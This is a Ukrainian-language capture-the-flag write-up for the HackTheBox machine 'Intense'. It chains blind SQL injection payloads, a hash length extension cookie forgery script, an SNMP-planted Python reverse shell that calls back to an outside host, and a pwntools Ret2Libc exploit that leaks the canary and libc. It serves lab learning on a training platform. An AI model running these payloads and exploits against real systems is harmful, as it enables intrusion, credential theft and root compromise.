Дізнайтеся, як виявити приховані вразливості у веб-додатках, налаштуваннях серверів та програмному коді, щоб покращити свої навички та забезпечити найвищий рівень безпеки для власних проектів. ому це важливо? Використання таких методів тестування дозволяє попередити зломи, оптимізувати захист систем і підвищити загальний рівень безпеки. Навчайтеся з найкращими прикладами та будьте завжди на крок попереду кіберзагроз.
Продовжуємо публікацію рішень, відправлених на дорішування машин із майданчика HackTheBox. У цій статті розглядається отримання секретного ключа Flask через SQL-ін’єкцію, здійснення криптоатаки на подовження повідомлення, отримання RCE за допомогою SNMP, а також експлуатація вразливості переповнення буфера через атаку Ret2Libc.
Ця машина має IP адресу 10.10.10.195, яку додаємо в /etc/hosts.
10.10.10.195 intence.htb
Насамперед скануємо відкриті порти.
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
nmap -sU intence.htb
На цільовому хості доступні лише SNMP, веб-сервер і служба SSH. Після переходу на сайт стає зрозуміло, що передбачена авторизація в ролі гостя, а також надаються вихідні коди для аналізу.
Давайте авторизуємося, щоб мати уявлення про структуру сайту.
Так ми можемо щось відправляти, давайте перейдемо до сторінки Submit.
Тестувати нічого не будемо, оскільки ми маємо вихідні коди. Завантажуємо та почергово переглядаємо. З файлу admin.py бачимо можливості адміністратора – переглядати директорії та читати файли. Також розуміємо, що використовується flask.
З файлу app.py випливає, що при запиті Submit використовується база даних, а дані користувача не фільтруються.
Ще відзначаємо спосіб створення cookie.
Перейдемо до файлу lwt.py, в якому відбувається робота з сесіями. Відзначаємо довжину секрету та структуру cookie.
І в останньому файлі бачимо сам запит у базу даних та принцип перевірки привілеїв користувача.
Все ясно, давайте подивимося cookie.
Ми можемо легко декодувати цей рядок за допомогою flask-session-cookie-manager.
Але нам потрібний секрет адміну.
Спробуємо отримати його за допомогою ін’єкції SQL в Submit. Таким чином, ми маємо наступний INSERT запит:
INSERT INTO messages VALUES ('%s')
Тому наш запит має бути виконаний у наступній конструкції:
' AND ( SELECT ... ) ) -- -
Тоді повний запит до бази даних буде таким:
INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')
Якщо без коментарів, то такий:
INSERT INTO messages VALUES ('' AND ( SELECT ... ) )
У самому запиті використовуватиме конструкцію:
SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END
Тоді якщо запит може бути виконаний, ми отримаємо відповідь ‘OK’, інакше помилку ‘unable to use function MATCH in the requested context’ .
Ми можемо впізнати секрет, що зберігається в таблиці users. Тим більше, що ми знаємо секрет гостьового користувача (role = 0). Враховуємо, що використовується SQLite база даних, давайте дізнаємося довжину секрету (оскільки ми її знаємо, визначимо реакцію на правильний і неправильний запит) за допомогою наступної вставки в запит (замість XXX наше число):
' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -
Тепер перевіримо посимвольне вилучення секрету. Тут допоможе наступна конструкція (NUM – це порядковий номер символу, а XXX – сам символ).
' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -
Таким чином, усі припущення підтвердились. Тобто ми можемо дізнатися про секрет користувача з role=1. Його довжина (оскільки це хеш) дорівнює 64.
Перейдемо в Intruder і виставимо наступні налаштування.
І запустимо атаку. Через кілька секунд отримаємо результат виконання. Встановимо фільтр, який виключить усі відповіді, де є “MATCH”. І побачимо 64 рядки. Сортуємо їх за payload1 (позиція символу).
Виділимо всі рядки та збережемо у файл тільки payload2.
І дивимось наш секрет.
Ми не можемо просто взяти і підставити цей секрет у cookie. Але можемо виконати атаку HLE . Виконати атаку можна за допомогою наступного коду, який використовує бібліотеку hashpumpy.
import hashpumpy import binascii import requests from base64 import * url = "http://intence.htb/admin" new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;' old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s=" data_cookie = b64decode(old_cookie.split('.')[0]) sign_cookie = b64decode(old_cookie.split('.')[1]) for offset in range(1,64): print("Find offset: " + str(offset), end='\r') (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset) new_cookie = b64encode(new_data) + b"." + b64encode(binascii.unhexlify(new_sign)) r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')}) if r.status_code == 200: print("Offset found: " + str(offset)) print("Admin cookie: " + new_cookie.decode('utf-8')) break
І отримуємо куки адміну, вставимо їх на веб-сайті.
Добре, у нас підвищені привілеї.
Давайте перевіримо, чи можемо читати файли і переглядати директорії.
Чудово. З файлу /etc/passwd відзначимо собі користувача user і SNMP.
І забираємо перший прапор.
Давайте подивимося файл конфігурацій SNMP. З нього ми отримуємо пароль, який дозволить нам створювати записи (rwcommunity).
Давайте створимо запис, що містить реверс шелл на пітоні. Для цього нам потрібно заповнити такі поля:
nsExtendStatus."command" nsExtendCommand."R4command" nsExtendArgs."R4command"
Встановіть snmp-mibs-downloader.
apt install snmp-mibs-downloader
І тепер створимо запис.
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Для виконання нам потрібно знати об’єкт OID. Є дуже хороший сайт, який може допомогти.
Так OID об’єкта – 1.3.6.1.4.1.8072.1.3.2. Виконуємо команду та отримуємо бекконект.
snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2
Отримаємо нормальний bash та подивимося домашню директорію користувача.
Знаходимо виконуваний файл та вихідний код. За допомогою netcat копіюємо файли на локальну машину для аналізу.
З вихідного коду програми дізнаємось, що вона прослуховує 5001 порт.
Давайте перевіримо.
Таким чином, ми знайшли вектор LPE. Ця програма прослуховує локальний порт 5001 і працює від імені root. Користувач SNMP не має інтерактивної оболонки (було відзначено /etc/passwd) але ми можемо тунелювати порт за допомогою SSH. Давайте згенеруємо ключ і запишемо authorized_keys на віддаленій машині.
А тепер прокидаємо порт.
ssh -i id_rsa -N -L 5001:127.0.0.1:5001 [email protected]
Чудово. Приступаємо до аналізу програми.
Дізнаємось, яку бібліотеку використовує програма за допомогою GDB, а потім скопіюємо її способом, яким ми користувалися раніше.
І не забуваємо перевіримо використовуваний захист.
Таким чином у нас є й рандомна адресація, канарка та нездійсненний стек. Для початку напишемо шаблон експлоїту.
#!/usr/bin/python3 from pwn import * HOST = '127.0.0.1' PORT = 5001 context(os='linux', arch='amd64') binary = ELF('./note', checksec=False) libc = ELF('./libc-2.27.so', checksec=False) r = remote(HOST, PORT) r.interactive()
Розберемося з функціоналом програми. З вихідного коду стає зрозуміло, що ми можемо створювати, копіювати та читати нотатки. Давайте реалізуємо ці функції. При записі, ми повинні надіслати 1 байт = 0x01, і після цього 1 байт — розмір повідомлення та саме повідомлення.
def W(s): r.send(p8(1)) r.send(p8(len(s))) r.send(s)
Копіювання вимагає 0x02, два байти – зсув і один байт розмір.
def CPY(offset, size): r.send(p8(2)) r.send(p16(offset)) r.send(p8(size))
І для читання лише байт 0x03.
def R(size): r.send(p8(3)) return r.recv(size)
А розмір буфера дорівнює 1024.
Ми можемо переповнити буфер, але нам потрібно знати значення канарки та регістрів RBP та RIP. Їх ми можемо дізнатися завдяки функції CPY, дізнавшись дані про усунення 1024. Але їх спершу потрібно зайняти. Так як ми можемо записати лише 255 байтів за один раз, то нам потрібно 4 рази записати по 255 символів і вп’яте доповнити 4 байти. А потім уже прочитати 1056 байт та відокремити 32 байт після нашого буфера.
[ W("A"*255) for _ in range(4) ] W("A"*4) CPY(1024, 32) post_buf = R(1056)[1024:] _CANARY = u64(post_buf[8:16]) _RBP = u64(post_buf[16:24]) _RIP = u64(post_buf[24:32]) print("CANARY: " + hex(_CANARY)) print("RBP: " + hex(_RBP)) print("RIP: " + hex(_RIP))
Знаючи RIP і знаючи відносну адресу виходу з функції, ми можемо обчислити адресу, за якою завантажена програма.
binary.address = _RIP - 0xf54
І скористаємося класом ROP, щоб отримати адресу функції write (про ROP вже досконало розбирали).
rop_binary = ROP(binary) rop_binary.write(4, binary.got['write']) r = remote(HOST, PORT) payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain() # 72 W(payload) [ W("A"*255) for _ in range(3) ] W("A"*187) CPY(0, len(payload)) R(1024 + len(payload)) libc_write = u64(r.recv(8)) print("Leak: " + hex(libc_write))
І обчислимо адресу, за якою завантажено LIBC.
libc.address = libc_write -libc.symbols['write'] print("LIBC address: "+ hex(libc.address))
/bin/sh
, а функція write
перезаписується відповідно до експлуатації уразливості.libc_rop = ROP(libc) libc_rop.dup2(4, 0) libc_rop.dup2(4, 1) libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0) r = remote(HOST, PORT) payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain() # 152 W(payload) [ W("A"*255) for _ in range(3) ] W("A"*107) CPY(0, len(payload)) R(1024 + len(payload))
Повний код, як завжди, наводжу картинкою.
Стаття охоплює весь процес експлуатації уразливостей у рамках задачі HackTheBox, починаючи з аналізу доступних сервісів і вихідного коду, до успішного отримання привілейованого доступу. Використано різні техніки, зокрема SQL-ін’єкцію, криптоатаку подовження повідомлення, отримання RCE через SNMP і атаку Ret2Libc.